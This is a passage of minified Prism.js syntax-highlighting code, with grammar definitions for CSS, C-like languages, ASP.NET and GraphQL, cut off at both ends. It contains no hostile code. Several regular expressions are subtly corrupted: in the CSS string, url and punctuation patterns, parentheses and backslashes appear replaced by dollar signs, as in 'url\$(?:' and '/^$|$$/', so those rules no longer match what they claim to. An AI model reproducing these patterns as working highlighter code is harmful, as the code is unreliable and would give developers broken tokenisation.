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e=/(?:"(?:\$?:\r\n|[\s\S])|[^"\\\r\n])*"|'(?:\\(?:\r\n|[\s\S])|[^'\\\r\n])*')/;s.languages.css={comment:/\/\*[\s\S]*?\*\//,atrule:{pattern:RegExp("@[\\w-](?:[^;{\\s\"']|\\s+(?!\\s)|"+e.source+")*?(?:;|(?=\\s*\\{))"),inside:{rule:/^@[\w-]+/,"selector-function-argument":{pattern:/(\bselector\s*\(\s*(?![\s)]))(?:[^()\s]|\s+(?![\s)])|\((?:[^()]|\([^()]*$)*\))+(?=\s*\))/,lookbehind:!0,alias:"selector"},keyword:{pattern:/(^|[^\w-])(?:and|not|only|or)(?![\w-])/,lookbehind:!0}}},url:{pattern:RegExp("\\burl\$(?:"+e.source+"|(?:[^\\\\\r\n()\"']|\\\\[^])*)\$","i"),greedy:!0,inside:{function:/^url/i,punctuation:/^$|$$/,string:{pattern:RegExp("^"+e.source+"$"),alias:"url"}}},selector:{pattern:RegExp("(^|[{}\\s])[^{}\\s](?:[^{};\"'\\s]|\\s+(?![\\s{])|"+e.source+")*(?=\\s*\\{)"),lookbehind:!0},string:{pattern:e,greedy:!0},property:{pattern:/(^|[^-\w\xA0-\uFFFF])(?!\s)[-_a-z\xA0-\uFFFF](?:(?!\s)[-\w\xA0-\uFFFF])*(?=\s*:)/i,lookbehind:!0},important:/!important\b/i,function:{pattern:/(^|[^-a-z0-9])[-a-z0-9]+(?=\()/i,lookbehind:!0},punctuation:/[(){};:,]/},s.languages.css.atrule.inside.rest=s.languages.css;var t=s.languages.markup;t&&(t.tag.addInlined("style","css"),t.tag.addAttribute("style","css"))}(Prism); Prism.languages.clike={comment:[{pattern:/(^|[^\\])\/\*[\s\S]*?(?:\*\/|$)/,lookbehind:!0,greedy:!0},{pattern:/(^|[^\\:])\/\/.*/,lookbehind:!0,greedy:!0}],string:{pattern:/(["'])(?:\\(?:\r\n|[\s\S])|(?!\1)[^\\\r\n])*\1/,greedy:!0},"class-name":{pattern:/(\b(?:class|extends|implements|instanceof|interface|new|trait)\s+|\bcatch\s+\()[\w.\\]+/i,lookbehind:!0,inside:{punctuation:/[.\\]/}},keyword:/\b(?:break|catch|continue|do|else|finally|for|function|if|in|instanceof|new|null|return|throw|try|while)\b/,boolean:/\b(?:false|true)\b/,function:/\b\w+(?=\()/,number:/\b0x[\da-f]+\b|(?:\b\d+(?:\.\d*)?|\B\.\d+)(?:e[+-]?\d+)?/i,operator:/[<>]=?|[!=]=?=?|--?|\+\+?|&&?|\|\|?|[?*/~^%]/,punctuation:/[{}[\];(),.:]/}; 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Prism.languages.aspnet=Prism.languages.extend("markup",{"page-directive":{pattern:/<%\s*@.*%>/,alias:"tag",inside:{"page-directive":{pattern:/<%\s*@\s*(?:Assembly|Control|Implements|Import|Master(?:Type)?|OutputCache|Page|PreviousPageType|Reference|Register)?|%>/i,alias:"tag"},rest:Prism.languages.markup.tag.inside}},directive:{pattern:/<%.*%>/,alias:"tag",inside:{directive:{pattern:/<%\s*?[$=%#:]{0,2}|%>/,alias:"tag"},rest:Prism.languages.csharp}}}),Prism.languages.aspnet.tag.pattern=/<(?!%)\/?[^\s>\/]+(?:\s+[^\s>\/=]+(?:=(?:("|')(?:\\[\s\S]|(?!\1)[^\\])*\1|[^\s'">=]+))?)*\s*\/?>/,Prism.languages.insertBefore("inside","punctuation",{directive:Prism.languages.aspnet.directive},Prism.languages.aspnet.tag.inside["attr-value"]),Prism.languages.insertBefore("aspnet","comment",{"asp-comment":{pattern:/<%--[\s\S]*?--%>/,alias:["asp","comment"]}}),Prism.languages.insertBefore("aspnet",Prism.languages.javascript?"script":"tag",{"asp-script":{pattern:/(<script(?=.*runat=['"]?server\b)[^>]*>)[\s\S]*?(?=<\/script>)/i,lookbehind:!0,alias:["asp","script"],inside:Prism.languages.csharp||{}}}); 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Prism.languages.graphql={comment:/#.*/,description:{pattern:/(?:"""(?:[^"]|(?!""")")*"""|"(?:\\.|[^\\"\r\n])*")(?=\s*[a-z_])/i,greedy:!0,alias:"string",inside:{"language-markdown":{pattern:/(^"(?:"")?)(?!\1)[\s\S]+(?=\1$)/,lookbehind:!0,inside:Prism.languages.markdown}}},string:{pattern:/"""(?:[^"]|(?!""")")*"""|"(?:\\.|[^\\"\r\n])*"/,greedy:!0},number:/(?:\B-|\b)\d+(?:\.\d+)?(?:e[+-]?\d+)?\b/i,boolean:/\b(?:false|true)\b/,variable:/\$[a-z_]\w*/i,directive:{pattern:/@[a-z_]\w*/i,alias:"function"},"attr-name":{pattern:/\b[a-z_]\w*(?=\s*(?:\((?:[^()"]|"(?:\\.|[^\\"\r\n])*")*$)?:)/i,greedy:!0},"atom-input":{pattern:/\b[A-Z]\w*Input\b/,alias:"class-name"},scalar:/\b(?:Boolean|Float|ID|Int|String)\b/,constant:/\b[A-Z][A-Z_\d]*\b/,"class-name":{pattern:/(\b(?:enum|implements|interface|on|scalar|type|union)\s+|&\s*|:\s*|\[)[A-Z_]\w*/,lookbehind:!0},fragment:{pattern:/(\bfragment\s+|\.{3}\s*(?!on\b))[a-zA-Z_]\w*/,lookbehind:!0,alias:"function"},"definition-mutation":{pattern:/(\bmutation\s+)[a-zA-Z_]\w*/,lookbehind:!0,alias:"function"},"definition-query":{pattern:/(\bquery\s+)[a-zA-Z_]\w*/,lookbehind:!0,alias:"function"},keyword:/\b(?:directive|enum|extend|fragment|implements|input|interface|mutation|on|query|repeatable|scalar|schema|subscription|type|union)\b/,operator:/[!=|&]|\.{3}/,"property-query":/\w+(?=\s*$)/,object:/\w+(?=\s*\{)/,punctuation:/[!(){}\[\]:=,]/,property:/\w+/},Prism.hooks.add("after-tokenize",(function(n){if("graphql"===n.language)for(var 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